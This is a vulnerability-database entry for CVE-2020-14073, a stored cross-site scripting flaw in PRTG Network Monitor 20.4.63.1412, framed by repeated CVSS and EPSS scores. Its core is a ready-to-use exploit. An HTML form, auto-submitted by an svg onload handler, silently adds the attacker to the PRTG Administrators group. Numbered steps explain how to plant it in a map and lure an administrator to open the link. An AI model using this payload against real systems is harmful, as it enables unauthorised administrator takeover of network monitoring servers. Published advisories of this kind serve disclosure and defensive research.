CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
80.0%
# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS
# Date: 2/12/2020
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/prtg
# Version: 20.4.63.1412 x64
# Tested on: Windows
# CVE : CVE-2020-14073
Description:
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.
Steps:
1- Login to PRTG system and view source code (currentUserId)
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'
3- In 'HTML After' add the following code:
<form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="name_" value="PRTG Administrators" />
<input type="hidden" name="defaulthome_" value="/welcome.htm" />
<input type="hidden" name="isadgroup" value="0" />
<input type="hidden" name="adusertype_" value="0" />
<input type="hidden" name="aduserack_" value="0" />
<input type="hidden" name="users_" value="1" />
<input type="hidden" name="users_" value="1" />
<input type="hidden" name="users__check" value="<currentUserId>|<YOUR_USERNAME>|" />
<input type="hidden" name="users__check" value="100|PRTG System Administrator|" />
<input type="hidden" name="id" value="200" />
<input type="hidden" name="targeturl" value="/systemsetup.htm?tabid=6" />
<input type="submit" value="Submit request" />
</form>
<svg/onload='document.forms[0].submit()'/>
4- Save and share the link with PRTG Administrator.
5- Login with the highest privilege.
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
80.0%